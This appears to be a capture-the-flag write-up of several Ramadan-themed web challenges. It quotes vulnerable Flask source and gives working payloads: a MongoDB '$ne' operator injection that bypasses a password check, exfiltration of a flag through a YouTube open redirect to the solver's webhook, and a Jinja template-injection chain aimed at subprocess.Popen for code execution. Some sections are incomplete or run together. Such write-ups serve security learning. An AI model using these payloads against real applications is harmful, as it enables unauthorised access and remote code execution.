Max dan teman teman nya sedang berencana untuk mencari takjil sebanyak mungkin untuk entar dimakan bersama saat buka nanti, tetapi mereka harus cepat sebelum takjil takjil yang di jual habis. Merekapun membuat platform untuk membagikan lokasi lokasi takjil yang dapat mereka kunjungi secara privat, apakah anda dapat menemukan vulnerabilitas di platform mereka untuk mencari lokasi takjil favorit Max?
Connect:
Initial Analysis
We are given a website:
Source Code Analysis
We are given a source code file, the directory tree is like this:
We can conclude that this is a python web app. We take a look at app.py
app.py
from flask import Flask, render_template, redirect, url_for, request
from pymongo import MongoClient
from bson.objectid import ObjectId
import json
import os
client = MongoClient(os.environ.get('MONGODB_URI'))
# client = MongoClient("mongodb://localhost:27017")
db = client['database']
post_collection = db["posts"]
config = db["config"]
# check if the program has already been setup
is_installed = config.find_one({"installed": True})
if is_installed is None:
# if not, run setup.py
os.system("python setup.py")
app = Flask(__name__)
@app.route('/')
def main():
# grab all posts and only show their id, title, and author
posts = db["posts"].find({})
posts_data = list()
for post in posts:
posts_data.append([str(post['_id']), post["title"], post["author"]])
print(posts_data)
return render_template("index.html", postdata=posts_data)
@app.route('/post/<id>', methods=['GET', 'POST'])
def post(id):
post = db["posts"].find_one({"_id": ObjectId(id)})
page = render_template(
"lokasi.html",
title=post["title"],
author=post["author"],
note=post["note"],
location=post["location"]
)
if request.method == "POST":
password = request.form['password']
# ini tadi buat apa yah? -Max
if password.startswith("{") and password.endswith("}"):
password = json.loads(password)
posts = db["posts"].find_one({
"_id": ObjectId(id),
"password": password
})
if posts:
return page
else:
return render_template("password.html", message="Incorrect password")
if post["password"]: return render_template("password.html")
return page
# favicon
@app.route('/favicon.ico')
def favicon():
return redirect(url_for('static', filename='favicon.ico'))
# make a default for unknown pages 404
@app.errorhandler(404)
def page_not_found(e):
return render_template("error.html", errorcode=404, errormessage="Page not found")
# make a default for 500 internal server error
@app.errorhandler(500)
def internal_server_error(e):
return render_template("error.html", errorcode=a500, errormessage="Internal server error")
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)
There's an interesting piece of code here:
# ini tadi buat apa yah? -Max
if password.startswith("{") and password.endswith("}"):
password = json.loads(password)
It basically checks if the password in a JSON format, it will serialize it into a JSON object. Then it will pass it into this code:
This will make the MongoDB queried password ≠ "bukanrilpassword". Since the password is obviously not "bukanrilpassword". This query injection passes the checks, returns true, and we get the flag.
Thus, the payload is:
{"$ne": "bukanrilpassword"}
We put this into the password field and we got the flag!
Flag: RAMADAN{T4kj1lnya_K3mana_Ab4ngkuh}
Redirection
Description
Author: dimas
Can you do open redirection on youtube?
Initial Analysis
We are given a website:
Nothing interesting.
Source Code Analysis
We are given a single source code:
app.py
from flask import Flask, request
import requests
import re
import os
app = Flask(__name__)
FLAG = os.environ.get("FLAG", "fake{flag}")
@app.get("/")
def home():
url = request.args.get("url", False)
if not url:
return "Url not found"
if not re.match(r"^https://youtube.com/.*$", url):
return "url isn't youtube url"
response = requests.get(url+"?"+FLAG)
return response.text
if __name__ == "__main__":
app.run("0.0.0.0", 8080, debug=False)
This code basically will redirect, only if the URL supplied, passes this regex:
r"^https://youtube.com/.*$"
And to get the flag, we need to control where it redirects to get the FLAG parameter. Thus we need an Open Redirect Vulnerability on YouTube.
Exploitation
After looking for a while, there's apparently an Open Redirect vulnerability on YouTube. Based on this writeup:
So i used the first payload, adjusted it to my webhook, and it apparently worked😂.
The render_template_stringfunction is vulnerable to SSTI (Server Side Template Injection). And since we can control what is passed to the template here:
<div class="container">
<h1>Hello {}</h1> <-- Controlled by user input
<img src="/static/cat.jpg" alt="cat">
<p>Hope you have a good Ramadhan</p>
</div>
We can just use the template syntax to get RCE.
To confirm our theory, we can inject simple payload like {{ 7 * 7 }} and see if it returns 49.
Exploitation
There are several functions that we cannot use, defined by this array:
We can use one of the payloads from HackTricks and adjust them:
We can see the provided <class 'object'> by using this payload:
{{ ''.__class__.__mro__[1].__subclasses__() }}
Since our flag name is randomized, we need a class where we can do code execution to execute lsand cat . There is <class 'subprocess.Popen'> class to do just that at index 370.